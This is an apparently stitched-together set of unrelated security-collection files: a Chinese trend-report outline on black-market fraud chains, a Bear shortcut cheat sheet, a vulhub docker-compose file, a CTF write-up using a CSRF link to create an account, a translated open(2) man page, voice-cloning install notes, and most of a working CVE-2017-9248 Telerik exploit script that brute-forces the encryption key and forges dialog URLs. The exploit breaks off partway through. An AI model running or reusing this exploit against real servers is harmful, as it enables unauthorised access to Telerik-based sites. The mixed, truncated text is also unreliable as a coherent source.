#### (4)数据安全趋势
可以从以下的几个点出发:
- 社会上企业的总体安全架构策略中,包含数据安全的提及频率以及重视程度
- 关于数据安全的学术届关注点
- 关于数据安全的工业界关注点
- 关于数据安全的用户关注点
### (四)业务安全
业务安全风险,主要集中于风控、黑灰产发展趋势、业务安全治理等方面。
#### (1)不同维度下
在不同的业务安全维度下,描述其请求量、活跃程度
- 营销风控
- 内容分控
- 金融分控
#### (2)从黑灰产业链条出发
在从产业链的不同的层级进行趋势监控
- 上游及相关角色
- 工具开发者
- 制作相关黑产工具(注册、养号脚本;爬虫脚本;改机工具等)
- 受制于各大短视频公司**业务**调整,生存周期不确定
- 基础设施:QQ 群、微信群、论坛、Telegram 群
- 卡源卡商
- 猫池卡商
- 号商
- 黑客(窃取用户数据为主)
- 中游及相关角色
- 接码平台
- 连接卡商和羊毛党、号商等一些**需要手机验证码**的群体
- 提供软件支持、业务结算等平台服务
- 多通过业务分成获利
- 打码平台
- 提供验证码识别服务,也以此获利
- 账号代售平台
- 提供相对应需求的账号(这里就比较灰色,因为他们也面对普通用户服务)
- 通过抽取相对应的佣金获利
- 工具代售平台
- 对工作室、普通用户提供**解决刷量需求**的工具
- 通过抽取相对应的佣金获利
- 地下黑市
- 相关的**黑灰产业群(QQ, Wechat, Telegram)、论坛**,为工作室、普通用户 提供一个需求解决场所
- 下游及相关角色
- 刷量工作室
- 通过解决普通用户的刷量需求获利
- 引流工作室
- 解决客户的需求短时间内将大量短视频用户引向其他平台
- 对引流人数和引向的平台设置不同的门槛,抽取佣金
- 主播工作室
- 主要服务于高人气主播,利用相关工具刷人气 短时间内吸引其他用户观看,通过假聊工具营造人气火爆的场景
#### (3)从风控策略角度
从风控策略角度,描述黑灰产活动趋势
- 监测类
- 新增高频词
- 词汇溯源
- 对比核心产业链模式特征
- 防控类
- 分析产业链结构、成员角色、 成本、利润
- 对批量行为的审核和监控
- 打击类
- 对黑灰产参与角色的打击情况
## 4. 应对方案
针对风险趋势分析的相应防护建议,也可直接在风险趋势中简单提出,在此省略。
### (一)主机防护建议
### (二)应用安全建议
### (三)数据安全建议
### (四)业务安全建议
## 5. 政策趋势
安全事件管控需要多方参与,其中,政府的态度也是十分关键。对于安全趋势报告而言,整理针对主体,或者与之相关的安全放心政策法规也是十分重要。
|
sec-knowleage
|
---
title: Bear
date: 2022-11-23 16:23:31.705436
background: bg-[#cd5654]
label: Mac
tags:
-
- mac
categories:
- Keyboard Shortcuts
intro: |
A visual cheat-sheet for the 66 keyboard shortcuts found in Bear. This application is MacOS-only.
---
Keyboard Shortcuts
------------------
### Text Styles {.row-span-3}
Shortcut | Action
---|---
`Option` `Cmd` `1-6` | Headings
`Option` `Cmd` `S` | Line separator
`Cmd` `B` | Bold
`Cmd` `I` | Italic
`Cmd` `U` | Underline
`Shift` `Cmd` `E` | Strikethrough
`Cmd` `K` | Link
`Cmd` `L` | Unordered list
`Shift` `Cmd` `L` | Ordered list
`Shift` `Cmd` `U` | Quote
`Cmd` `T` | Todo
`Option` `Cmd` `C` | Inline code
`Ctrl` `Option` `C` | Code block
`Shift` `Cmd` `M` | Marker/Highlighter
`Shift` `Cmd` `V` | Insert file
{.shortcuts}
### Todos
Shortcut | Action
---|---
`Shift` `Cmd` `T` | Toggle Todo
`Option` `Cmd` `T` | Mark Todo as completed
`Ctrl` `Cmd` `T` | Mark Todo as incomplete
{.shortcuts}
### Structure
Shortcut | Action
---|---
`Cmd` `]` | Shift line right
`Cmd` `[` | Shift line left
`Cmd` `Option` `Up` | Move line up
`Cmd` `Option` `Down` | Move line down
{.shortcuts}
### Lists
Shortcut | Action
---|---
`Tab` | Shift the list element right
`Shift` `Tab` | Shift the list element left
`Shift` `Enter` | End the list
{.shortcuts}
### Dates
Shortcut | Action
---|---
`Shift` `Cmd` `7` | Long Form Date with time (11 Jul 2017, 10:43)
`Shift` `Cmd` `8` | Long Form Date (11 Jul 2017)
`Shift` `Cmd` `9` | Short Form Date (11/07/2017)
`Shift` `Cmd` `0` | Hours (11:43)
{.shortcuts}
### Control
Shortcut | Action
---|---
`Cmd` `A` | Select all
`Cmd` `Enter` | End editing
`Cmd` `P` | Print note
{.shortcuts}
### Zoom
Shortcut | Action
---|---
`Cmd` `+` | Zoom in
`Cmd` `-` | Zoom out
`Cmd` `0` | Actual size
{.shortcuts}
### Navigation {.row-span-2}
Shortcut | Action
---|---
`Cmd` `N` | Create a new note
`Option` `Cmd` `N` | Create a new note in a new window
`Up/Down` | Move the selection in the note and tags list
`Left/Right` | Move the selection between the sidebar, the nost list, and the editor
`Enter` | Edit the selected note
`Option` `Cmd` `F` | Search in the current note list
`Cmd` `Backspace` | Delete selected note
`Shift` `Cmd` `R` | Restore selected note
`Shift` `Cmd` `P` | Pin/unpin selected note
`Cmd` `A` | Select all the notes in the list
`Shift` `Cmd` `Backspace` | Empty Trash
`Cmd` `1` | Select Notes in the sidebar
`Cmd` `2` | Select Untagged in the sidebar
`Cmd` `3` | Select ToDo in the sidebar
`Cmd` `4` | Select Today in the sidebar
`Cmd` `5` | Select Archive in the sidebar
`Cmd` `6` | Select Trash in the sidebar
`Option` `Cmd` `Left` | Navigate back in visualized notes history
`Option` `Cmd` `Right` | Navigate forward in visualized notes history
{.shortcuts}
### Panels and search
Shortcut | Action
---|---
`Shift` `Cmd` `I` | Toggle information panel
`Cmd` `F` | Search inside the current note
`Option` `Cmd` `F` | Search and replace inside the current note
`Shift` `Cmd` `F` | Search inside the note list
{.shortcuts}
### Saving and importing
Shortcut | Action
---|---
`Shift` `Cmd` `S` | Export selected notes
`Shift` `Cmd` `O` | Import notes
{.shortcuts}
### Window
Shortcut | Action
---|---
`Ctrl` `1` | Show sidebar, note list and editor
`Ctrl` `2` | Show note list and editor
`Ctrl` `3` | Show editor only
`Cmd` `,` | Show preferences
`Ctrl` `Cmd` `F` | Enter fullscreen
`Cmd` `\` | Open main window
{.shortcuts}
Also see
--------
- [Keyboard shortcuts for Bear notes app](https://bear.app/faq/Shortcuts%20and%20more/Mac%20shortcuts/) _(bear.app)_
|
sec-knowleage
|
version: '2'
services:
nginx:
image: nginx:1-alpine
volumes:
- ./files/default.conf:/etc/nginx/conf.d/default.conf
depends_on:
- web
ports:
- "8080:80"
web:
image: vulhub/uwsgi-python:2.0.17
command: uwsgi --socket 0.0.0.0:8000 --chdir /usr/src --module server --uid www-data --gid www-data -p 2
volumes:
- ./files/server.py:/usr/src/server.py
ports:
- "8000:8000"
|
sec-knowleage
|
# Ticketastic: Live Instance - FLAG0
## 0x00 Index

## 0x01 Login
Tried login with admin/admin but shows **Invalid Password**.
Also tried to run a wordlist against the password. Still cannot log in.

## 0x02 Submit Ticket
The only thing can be done here is to submit a ticket.
As there is also a **Demo Instance** abailable for looking inside of the system.
There is a CSRF can be used here which can help to crete a new account.
https://localhost/newUser?username=test&password=test&password2=test
So just submit a ticket with the content below.
``` html
<a href="http://localhost/newUser?username=test&password=test&password2=test">TEST</a>
```

## 0x03 Login with New Account

## 0x04 FLAG
Chek the ticket for FLAG0.

|
sec-knowleage
|
.TH OPEN 2 1999-06-03 "Linux" "System calls"
.SH NAME
open, creat \- 打开和/或创建一个文件
.SH SYNOPSIS 总览
.nf
.B #include <sys/types.h>
.B #include <sys/stat.h>
.B #include <fcntl.h>
.sp
.BI "int open(const char *" pathname ", int " flags );
.BI "int open(const char *" pathname ", int " flags ", mode_t " mode )
.BI "int creat(const char *" pathname ", mode_t " mode );
.fi
.SH "描述 (DESCRIPTION)"
.B open()
通常用于将路径名转换为一个文件描述符(一个非负的小整数,在
.B read " , "write
等 I/O 操作中将会被使用)。当
.B open()
调用成功,它会返回一个新的文件描述符(永远取未用描述符的最小值)。
这个调用创建一个新的打开文件,即分配一个新的独一无
二的文件描述符,不会与运行中的任何其他程序共享(但可以通过
.B fork (2)
系统调用实现共享)。
这个新的文件描述符在其后对打开文件操作的函数中使用(参考
.BR fcntl (2)
)文件的读写指针被置于文件头
参数
.I flags
是通过
.BR O_RDONLY ", " O_WRONLY " 或 " O_RDWR
(指明 文件 是以 只读 , 只写 或 读写 方式 打开的)
与 下面的 零个 或 多个 可选模式 按位
.RI - or
操作 得到的:
.TP
.B O_CREAT
若文件 不存在 将 创建 一个 新 文件.
新 文件 的 属主 (用户ID) 被 设置 为 此 程序 的 有效 用户 的 ID.
同样 文件 所属 分组 也 被 设置 为 此 程序 的 有效 分组 的 ID
或者 上层 目录 的 分组 ID (这 依赖 文件系统 类型 ,装载选项 和 上层目录 的 模式,
参考,在
.BR mount (8)
中 描述 的 ext2 文件系统 的 装载选项
.I bsdgroups
和
.I sysvgroups
)
.TP
.B O_EXCL
通过
.BR O_CREAT ,
生成 文件 , 若 文件 已经 存在 , 则
.B open
出错 , 调用 失败 . 若是 存在 符号联接 , 将会 把 它的 联接指针 的 指向 文件 忽略.
.B O_EXCL
is broken on NFS file systems, programs which rely on it for performing
locking tasks will contain a race condition. The solution for performing
atomic file locking using a lockfile is to create a unique file on the same
fs (e.g., incorporating hostname and pid), use
.BR link (2)
to make a link to the lockfile. If \fBlink()\fP returns 0, the lock is
successful. Otherwise, use
.BR stat (2)
on the unique file to check if its link count has increased to 2,
in which case the lock is also successful.
.TP
.B O_NOCTTY
假如
.I pathname
引用 一个 终端设备 \(em 参考
.BR tty (4)
\(em 即使 进程 没有 控制终端 ,这个 终端 也 不会 变成 进程 的 控制 终端.
.TP
.B O_TRUNC
假如 文件 已经 存在 , 且是 一个 普通 文件 ,打开 模式 又是 可写(即 文件 是 用
O_RDWR 或 O_WRONLY 模式 打开 的) , 就把 文件 的 长度 设置 为 零 , 丢弃 其中
的 现有 内容.若 文件 是 一个 FIFO 或 终端设备 文件 , O_TRUNC 标志 被 忽略.
其他 O_TRUNC 的 作用 是 不 具体 指定 的 (在 许多 Linux 版本 中 , 通常 会 被 忽略 ,
其他 的 一些 版本 将 返回 一个 错误)
.TP
.B O_APPEND
文件 以 追加 模式 打开 . 在
.BR 写
以前 , 文件 读写 指针 被 置 在 文件 的 末尾 .
as if with
.BR lseek .
.B O_APPEND
may lead to corrupted files on NFS file systems if more than one process
appends data to a file at once. This is because NFS does not support
appending to a file, so the client kernel has to simulate it, which
can't be done without a race condition.
.TP
.BR O_NONBLOCK " 或 " O_NDELAY
.B 打开(open)
文件 可以 以 非块(non-blocking) 模式 打开 . 此时 文件 并 没有 打开 , 也 不能 使用 返回 的
文件描述符 进行 后续 操作 , 而是 使 调用 程序 等待 . 此 模式 是 为了 FIFO (命名管道) 的 处理
, 参考
.BR fifo (4).
这种 模式 对 除了 FIFO 外 没有 任何 影响 .
.TP
.B O_SYNC
打开 文件 实现 I/O 的 同步 . 任何 通过 文件描述符 对 文件 的
.BR write
都会 使 调用 的 进程 中断 , 直到 数据 被 真正 写入 硬件 中 .
其他 , 参考
.I RESTRICTIONS.
.TP
.B O_NOFOLLOW
假如 \fIpathname\fR 是 一个 符号 联接 , 则 打开 失败 . 这是 FreeBSD
的 扩充 , 从 2.1.126 版本 以来 被 引入 到 Linux 中来 .
从 glibc2.0.100 库 以来 , 头文件 中 包括 了 这个 参数 的 定义;
\fI kernel 2.1.126 以前 将 忽略 它的 使用\fR.
.TP
.B O_DIRECTORY
假如 \fIpathname\fR 不是 目录 , 打开 就 失败 . 这个 参数 是 Linux 特有 的 ,
在 kernel 2.1.126 中 加入 , 为了 避免 在 调用 FIFO 或 磁带设备 时 的 denial-of-service
问题 , 但是 不应该 在 执行 \fBopendir\fR 以外 使用.
.TP
.B O_LARGEFILE
在 32位 系统 中 支持 大 文件系统 , 允许 打开 那些 用 31位 都 不能 表示 其 长度 的 大 文件 .
.PP
在 文件 打开 后 , 这些 可选 参数 可以 通过
.B fcntl
来 改变 .
在 新文件 被 创建 时 , 参数
.I mode
具体 指明 了 使用 权限 . 他 通常 也 会 被
.BR umask
修改 . 所以 一般 新建 文件 的 权限 为
.BR "(mode & ~umask)" .
注意 模式 只 被 应用 于 将来 对 这 新文件 的 使用 中;
.B open
调用 创建 一个 新的 只读 文件 , 但 仍 将 返回 一个 可 读写 文件 描述符.
.PP
后面 是 一些
.IR mode
的 具体 参数:
.TP
.B S_IRWXU
00700 允许 文件 的 属主 读 , 写 和 执行 文件
.TP
.B S_IRUSR (S_IREAD)
00400 允许 文件 的 属主 读 文件
.TP
.B S_IWUSR (S_IWRITE)
00200 允许 文件 的 属主 写 文件
.TP
.B S_IXUSR (S_IEXEC)
00100 允许 文件 的 属主 执行 文件
.TP
.B S_IRWXG
00070 允许 文件 所在 的 分组 读 , 写 和 执行 文件
.TP
.B S_IRGRP
00040 允许 文件 所在 的 分组 读 文件
.TP
.B S_IWGRP
00020 允许 文件 所在 的 分组 写 文件
.TP
.B S_IXGRP
00010 允许 文件 所在 的 分组 执行 文件
.TP
.B S_IRWXO
00007 允许 其他 用户 读 , 写 和 执行 文件
.TP
.B S_IROTH
00004 允许 其他 用户 读 文件
.TP
.B S_IWOTH
00002 允许 其他 用户 写 文件
.TP
.B S_IXOTH
00001 允许 其他 用户 执行 文件
.PP
.I mode
只有 当 在
.IR flags
中 使用
.B O_CREAT
时 才 有效 , 否则 被 忽略.
.B creat
相当 于
.B open
的 参数
.I flags
等于
.BR O_CREAT|O_WRONLY|O_TRUNC .
.SH RETURN VALUE 返回值
.BR open " 和 " creat
都 返回 一个 新的 文件描述符 (若是 有 错误 发生 返回 \-1 ,并在
.I errno
设置 错误 信息).
注意
.B open
可以 打开 设备 专用 文件 , 但是
.B creat
不能创建,需要用
.BR mknod (2)
来代替.
.LP
On NFS file systems with UID mapping enabled, \fBopen\fP may return a file
descriptor but e.g. \fBread\fP(2) requests are denied with \fBEACCES\fP.
This is because the client performs \fBopen\fP by checking the permissions,
but UID mapping is performed by the server upon read and write requests.
若 文件 是 新 建立 的 , 他 的 atime(上次访问时间), ctime(创建时间), mtime(修改时间) 都 被 修改 为 当前 时间
, 上层 目录 的atime , ctime 也 被 同样 修改 . 其他的 , 假如 文件 是 由 O_TRUNC 参数 修改
的 ,它的 ctime , mtime 域 也 被 设置 为 当前 时间.
.SH ERRORS 错误信息
.TP
.B EEXIST
参数
.BR O_CREAT " and " O_EXCL
被
使用,但是文件(
.I pathname
)已经存在.
.TP
.B EISDIR
文件名 (
.I pathname
) 是 一个 目录 , 而 又 涉及 到 写 操作.
.TP
.B EACCES
访问 请求 不 允许 (权限不够) , 在 文件名 (
.IR pathname
)中 有 一 目录 不允许 搜索 (没有 执行权限) , 或者 文件 还 不存在 且 对 上层目录 的 写 操作 又 不允许.
.TP
.B ENAMETOOLONG
文件名 (
.IR pathname
) 太 长 了
.TP
.B ENOENT
目录 (
.I pathname
) 不存在 或者 是 一个 悬空 的 符号 联接.
.TP
.B ENOTDIR
.I pathname
不是 一个 子目录
.TP
.B ENXIO
使用
O_NONBLOCK | O_WRONLY, 命名 的 文件 是 FIFO , 所读 文件 还 没有 打开 的 文件 ,
或者 , 打开 一个 设备 专用 文件 而 相应 的 设备 不存在
.TP
.B ENODEV
文件 (
.I pathname
) 引用 了 一个 设备 专用 文件 , 而 相应 的 设备 又 不存在.
(这是 linux kernel 的 一个bug - ENXIO 一定 会 被 返回 .)
.TP
.B EROFS
文件 (
.I pathname
) 是一个只读文件,又有写操作被请求。
.TP
.B ETXTBSY
文件 (
.I pathname
) 是一个正在被执行的可执行文件,又有写操作被请求。
.TP
.B EFAULT
.IR pathname
在一个你不能访问的地址空间.
.TP
.B ELOOP
在 分解
.IR pathname
时 , 遇到 太多 符号联接 或者 指明 \fBO_NOFOLLOW\fR 但是
.I pathname
是 一个 符号联接
.TP
.B ENOSPC
.I pathname
将要被创建,但是设备又没有空间储存
.I pathname
文件了
.TP
.B ENOMEM
可 获得 的 核心内存(kernel memory) 不够
.TP
.B EMFILE
程序打开的文件数已经达到最大值了
.TP
.B ENFILE
系统打开的总文件数已经达到了极限
.SH "CONFORMING TO"
SVr4, SVID, POSIX, X/OPEN, BSD 4.3
The
.B O_NOFOLLOW
and
.B O_DIRECTORY
flags are Linux-specific.
One may have to define the
.B _GNU_SOURCE
macro to get their definitions.
.SH RESTRICTIONS 无限制
There are many infelicities in the protocol underlying NFS, affecting
amongst others
.BR O_SYNC " and " O_NDELAY .
POSIX provides for three different variants of synchronised I/O,
corresponding to the flags \fBO_SYNC\fR, \fBO_DSYNC\fR and
\fBO_RSYNC\fR. Currently (2.1.130) these are all synonymous under Linux.
.SH SEE ALSO 参见
.BR read (2),
.BR write (2),
.BR fcntl (2),
.BR close (2),
.BR link (2),
.BR mknod (2),
.BR mount (2),
.BR stat (2),
.BR umask (2),
.BR unlink (2),
.BR socket (2),
.BR fopen (3),
.BR fifo (4)
.SH "[中文版维护人]"
.B Daniel <badlong@163.com>
.SH "[中文版最新更新]"
.BR 2002/01/10
.SH "《中国linux论坛man手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# MockingBird
- https://github.com/babysor/MockingBird
---
**安装 ffmpeg**
```bash
brew install ffmpeg
```
**配置镜像源**
```bash
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
conda config --set show_channel_urls yes
conda update --all
```
**安装 pyqt5**
```bash
conda install qt pyqt
brew install pyqt5
brew link --overwrite pyqt@5
```
**安装一些 pip 直接装会报错的模块**
```bash
conda install -c conda-forge pytorch
conda install -c conda-forge python-sounddevice umap-learn inflect unidecode
conda install -c conda-forge llvmlite numpy matplotlib
conda install -c conda-forge librosa
conda install -c conda-forge numpy==1.20
conda install numba==0.53
conda install pypinyin
conda install -c conda-forge python-sounddevice
conda uninstall --force portaudio
conda install -c conda-forge python-sounddevice
cd
cd miniforge3/lib
mv libportaudio.2.dylib libportaudio.2.dylib.bak
brew info portaudio
ln -s /opt/homebrew/Cellar/portaudio/19.7.0/lib/libportaudio.dylib libportaudio.2.dylib
ls -al | grep libport
```
**安装依赖模块**
```bash
cd
git clone https://github.com/babysor/MockingBird.git
cd MockingBird
vim requirements.txt
# 进去把 PyQt5 llvmlite umap-learn inflect unidecode numpy 这几个删掉
pip3 install -r requirements.txt # 安装剩下的依赖
pip3 install SoundFile
```
**安装 webrtcvad-wheels**
```bash
pip3 install webrtcvad-wheels
```
**安装 libsndfile**
```bash
brew install libsndfile
brew install portaudio
```
**下载预训练模型**
这里使用社区提供的模型
- https://pan.baidu.com/s/1iONvRxmkI-t1nHqxKytY3g 百度盘链接 4j5d
下载完后在项目的 synthesizer 下创建个 saved_models 文件夹,把下载的文件放进去
**启动Web程序**
```bash
python3 web.py
```
- MemoryError: Cannot allocate write+execute memory for ffi.callback().
```bash
pip3 uninstall cffi
pip3 uninstall pyopenssl
pip3 install pyopenssl
```
**启动工具箱**
```bash
mkdir test
python3 demo_toolbox.py -d test
```
**参考**
- https://github.com/babysor/MockingBird/blob/main/README-CN.md
- https://github.com/babysor/MockingBird/issues/65
- https://github.com/babysor/MockingBird/issues/471
- https://mp.weixin.qq.com/s/Gzxm5wyzPPsebv5BQh5EPw
|
sec-knowleage
|
# Author: Paul Taylor / @bao7uo
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise
# Warning - no cert warnings,
# and verify = False in code below prevents verification
import sys
import base64
import requests
import re
import binascii
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests_sent = 0
char_requests = 0
def getProxy(proxy):
return { "http" : proxy, "https" : proxy }
def get_result(plaintext, key, session, pad_chars):
global requests_sent, char_requests
url = args.url
base_pad = (len(key) % 4)
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
dp_encrypted = base64.b64encode(
(encrypt(plaintext, key) + base).encode()
).decode()
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
request = request.prepare()
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
requests_sent += 1
char_requests += 1
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
return True \
if match is not None \
and match.group(2) == args.oracle \
else False
def test_keychar(keychar, found, session, pad_chars):
base64chars = [
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
"P", "f", "v", "/"
]
duff = False
accuracy_thoroughness_threshold = args.accuracy
for bc in range(int(accuracy_thoroughness_threshold)):
# ^^ max is len(base64chars)
sys.stdout.write("\b\b" + base64chars[bc] + "]")
sys.stdout.flush()
if not get_result(
base64chars[0] * len(found) + base64chars[bc],
found + keychar, session, pad_chars
):
duff = True
break
return False if duff else True
def encrypt(dpdata, key):
encrypted = []
k = 0
for i in range(len(dpdata)):
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
k = 0 if k >= len(key) - 1 else k + 1
return ''.join(str(e) for e in encrypted)
def mode_decrypt():
ciphertext = base64.b64decode(args.ciphertext).decode()
key = args.key
print(base64.b64decode(encrypt(ciphertext, key)).decode())
print("")
def mode_encrypt():
plaintext = args.plaintext
key = args.key
plaintext = base64.b64encode(plaintext.encode()).decode()
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
print("")
def test_keypos(key_charset, unprintable, found, session):
pad_chars = ''
for pad_char in range(256):
pad_chars += chr(pad_char)
for i in range(len(pad_chars)):
for k in range(len(key_charset)):
keychar = key_charset[k]
sys.stdout.write("\b"*6)
sys.stdout.write(
(
keychar
if unprintable is False
else '+'
) +
") [" + (
keychar
if unprintable is False
else '+'
) +
"]"
)
sys.stdout.flush()
if test_keychar(keychar, found, session, pad_chars[i] * 3):
return keychar
return False
def get_key(session):
global char_requests
found = ''
unprintable = False
key_length = args.key_len
key_charset = args.charset
if key_charset == 'all':
unprintable = True
key_charset = ''
for i in range(256):
key_charset += chr(i)
else:
if key_charset == 'hex':
key_charset = '01234567890ABCDEF'
print("Attacking " + args.url)
print(
"to find key of length [" +
str(key_length) +
"] with accuracy threshold [" +
str(args.accuracy) +
"]"
)
print(
"using key charset [" +
(
key_charset
if unprintable is False
else '- all ASCII -'
) +
"]\n"
)
for i in range(int(key_length)):
pos_str = (
str(i + 1)
if i > 8
else "0" + str(i + 1)
)
sys.stdout.write("Key position " + pos_str + ": (------")
sys.stdout.flush()
keychar = test_keypos(key_charset, unprintable, found, session)
if keychar is not False:
found = found + keychar
sys.stdout.write(
"\b"*7 + "{" +
(
keychar
if unprintable is False
else '0x' + binascii.hexlify(keychar.encode()).decode()
) +
"} found with " +
str(char_requests) +
" requests, total so far: " +
str(requests_sent) +
"\n"
)
sys.stdout.flush()
char_requests = 0
else:
sys.stdout.write("\b"*7 + "Not found, quitting\n")
sys.stdout.flush()
break
if keychar is not False:
print("Found key: " +
(
found
if unprintable is False
else "(hex) " + binascii.hexlify(found.encode()).decode()
)
)
print("Total web requests: " + str(requests_sent))
return found
def mode_brutekey():
session = requests.Session()
found = get_key(session)
if found == '':
return
else:
urls = {}
url_path = args.url
params = (
'?DialogName=DocumentManager' +
'&renderMode=2' +
'&Skin=Default' +
'&Title=Document%20Manager' +
'&dpptn=' +
'&isRtl=false' +
'&dp='
)
versions = [
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
'2017.3.913'
]
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
plaintext3 = ';AllowMultipleSelection,False,3,False'
if len(args.version) > 0:
versions = [args.version]
for version in versions:
plaintext2_raw2 = version
plaintext2 = base64.b64encode(
(plaintext2_raw1 +
plaintext2_raw2 +
plaintext2_raw3
).encode()
).decode()
plaintext = plaintext1 + plaintext2 + plaintext3
plaintext = base64.b64encode(
plaintext.encode()
).decode()
ciphertext = base64.b64encode(
encrypt(
plaintext,
found
).encode()
).decode()
full_url = url_path + params + ciphertext
urls[version] = full_url
found_valid_version = False
for version in urls:
url = urls[version]
request = requests.Request('GET', url)
request = request.prepare()
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
if response.status_code == 500:
continue
else:
match = re.search(
"(Error Message:)(.+\n*.+)(</div>)",
response.text
)
if match is None:
print(version + ": " + url)
found_valid_version = True
break
if not found_valid_version:
print("No valid version found")
def mode_samples():
print("Samples for testing decryption and encryption functions:")
print("-d ciphertext key")
print("-e plaintext key")
print("")
print("Key:")
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
print("")
print("Plaintext:")
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
print("")
print("Ciphertext:")
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR9